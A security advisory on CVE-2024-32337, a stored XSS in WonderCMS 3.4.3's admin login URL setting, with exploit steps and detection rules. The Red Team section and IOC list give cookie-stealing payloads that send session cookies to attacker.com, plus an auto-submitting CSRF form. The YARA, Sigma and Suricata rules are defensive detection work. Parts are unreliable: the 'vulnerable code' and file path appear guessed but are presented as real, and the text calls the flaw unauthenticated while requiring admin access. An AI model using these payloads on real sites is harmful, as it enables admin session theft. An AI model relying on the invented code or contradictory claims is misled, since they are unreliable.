CVE-2024-32337

Executive Summary

CVE-2024-32337 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Settings section of WonderCMS v3.4.3. The flaw resides in the Security module, specifically within the ADMIN LOGIN URL parameter. An attacker can inject arbitrary JavaScript or HTML into this parameter, which is then stored and executed in the browser of any administrator who views the settings page. This allows for session hijacking, credential theft, or defacement of the admin panel.

The vulnerability is unpatched as of the latest available version (3.4.3). The CVSS v3.1 base score is 6.1 (Medium), with a vector of AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the existence of a public proof-of-concept (PoC) increases the risk for targeted attacks.

Note: This vulnerability is specific to the WonderCMS ecosystem, a flat-file content management system. It is not related to WordPress, Apache, or Nginx.

Supply Chain & Package Security

WonderCMS is a standalone PHP application distributed via GitHub and its official website. There is no NPM, PyPI, Go, or Ruby package involved. The supply chain risk is limited to the integrity of the source code downloaded from the official repository. Users should verify checksums and only download from trusted sources.

CVSS Breakdown & Threat Level

Threat Level: Medium. The vulnerability requires user interaction (an admin visiting the settings page) but no authentication to trigger the stored payload. The impact is limited to the admin session context.

Deep Dive & Mechanics

The vulnerability exists in the Security module of WonderCMS v3.4.3. The ADMIN LOGIN URL parameter is used to define a custom URL for the admin login page. This parameter is stored in the site's configuration file (database.js) without proper sanitization or output encoding.

Root Cause: The application fails to escape or validate user input when saving the ADMIN LOGIN URL parameter. When the settings page is rendered, the stored value is directly injected into the HTML without encoding, allowing arbitrary script execution.

Attack Flow:

1. An attacker with access to the admin panel (or via a CSRF attack) navigates to the Security settings.
2. The attacker injects a malicious payload into the ADMIN LOGIN URL field, e.g., "><script>alert('XSS')</script>.
3. The payload is stored in the configuration file.
4. When any administrator visits the Security settings page, the payload executes in their browser.
5. The attacker can steal session cookies, perform actions on behalf of the admin, or deface the admin panel.

Technical Details:

• Vulnerable File: /themes/.../settings.php (or similar admin template)
• Vulnerable Parameter: ADMIN LOGIN URL (POST parameter)
• Sanitization: None. The input is directly written to the configuration file and echoed back without htmlspecialchars() or similar encoding.

Vulnerable vs. Patched Code

Vulnerable Code (WonderCMS v3.4.3):

// In the settings save handler
$config['adminLoginURL'] = $_POST['adminLoginURL'];
// Later, when rendering the settings page
echo '<input type="text" name="adminLoginURL" value="' . $config['adminLoginURL'] . '">';

Patched Code (Hypothetical Fix):

// In the settings save handler
$config['adminLoginURL'] = htmlspecialchars($_POST['adminLoginURL'], ENT_QUOTES, 'UTF-8');
// When rendering the settings page
echo '<input type="text" name="adminLoginURL" value="' . htmlspecialchars($config['adminLoginURL'], ENT_QUOTES, 'UTF-8') . '">';

Key Difference: The patched code uses htmlspecialchars() to encode HTML special characters (<, >, ", ', &) before output, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to the WonderCMS admin panel (any user with settings modification rights).
• Alternatively, a Cross-Site Request Forgery (CSRF) attack can be used if the admin visits a malicious page.

Exploit Steps:

1. Log in to the WonderCMS admin panel.
2. Navigate to Settings -> Security.
3. In the ADMIN LOGIN URL field, enter the following payload:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the settings.
5. Any admin who views the Security settings page will trigger the XSS, sending their session cookie to the attacker's server.

Alternative Payload (Session Hijacking):

"><img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

CSRF Exploit (If admin visits attacker's page):

<html>
<body>
<form action="http://target-wondercms/admin/settings/save" method="POST">
<input type="hidden" name="adminLoginURL" value='"><script>alert(1)</script>'>
<input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP POST requests to /admin/settings/save with suspicious adminLoginURL parameters containing <script>, onerror, or other HTML event handlers.
• Look for anomalous outbound connections from the admin panel to unknown domains.

Hardening:

• Immediate: Restrict access to the admin panel via IP whitelisting or VPN.
• Code Fix: Apply the patched code shown above (add htmlspecialchars() to the vulnerable parameter).
• WAF Rule: Block requests containing <script or onerror in the adminLoginURL parameter.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /admin/settings/save with adminLoginURL containing HTML/JavaScript payloads.
• Outbound connections to attacker-controlled domains from the admin panel.

File IOCs:

• Modified database.js file containing malicious JavaScript in the adminLoginURL field.
• Example entry in database.js:

  "adminLoginURL": "\"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"
  

Behavioral IOCs:

• Unexpected pop-ups or alerts in the admin panel.
• Unauthorized changes to site configuration or user accounts.

Detection Engineering

YARA Rule

rule CVE_2024_32337_WonderCMS_XSS {
    meta:
        description = "Detects stored XSS payload in WonderCMS database.js"
        author = "Valters IT"
        date = "2024-05-20"
        reference = "CVE-2024-32337"
    strings:
        $xss_payload = /"adminLoginURL"\s*:\s*"[^"]*<script[^>]*>[^<]*<\/script>[^"]*"/
        $xss_event = /"adminLoginURL"\s*:\s*"[^"]*on\w+\s*=[^"]*"[^"]*"/
    condition:
        any of them
}

Sigma Rule

title: WonderCMS Stored XSS via adminLoginURL
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payload in WonderCMS adminLoginURL parameter
author: Valters IT
date: 2024/05/20
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/admin/settings/save'
        cs-uri-query|contains|all:
            - 'adminLoginURL'
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin URL (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-32337 WonderCMS Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/admin/settings/save"; http_uri; content:"adminLoginURL"; http_client_body; pcre:"/<script[^>]*>[^<]*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Admin Access: Limit access to the admin panel to trusted IP addresses only.
2. Manual Code Fix: Edit the vulnerable PHP file and add htmlspecialchars() to the adminLoginURL output.
3. WAF Rules: Deploy a Web Application Firewall rule to block malicious payloads in the adminLoginURL parameter.

Long-Term Fix:

• The vendor (WonderCMS) should release a patched version (v3.4.4 or later) that properly sanitizes all user inputs in the settings module.
• Until a patch is available, users should consider switching to an alternative CMS or applying the manual fix.

Verification:

• After applying the fix, test by attempting to inject <script>alert('XSS')</script> into the ADMIN LOGIN URL field. The script should be displayed as plain text, not executed.

Valters IT
Securing Digital Frontiers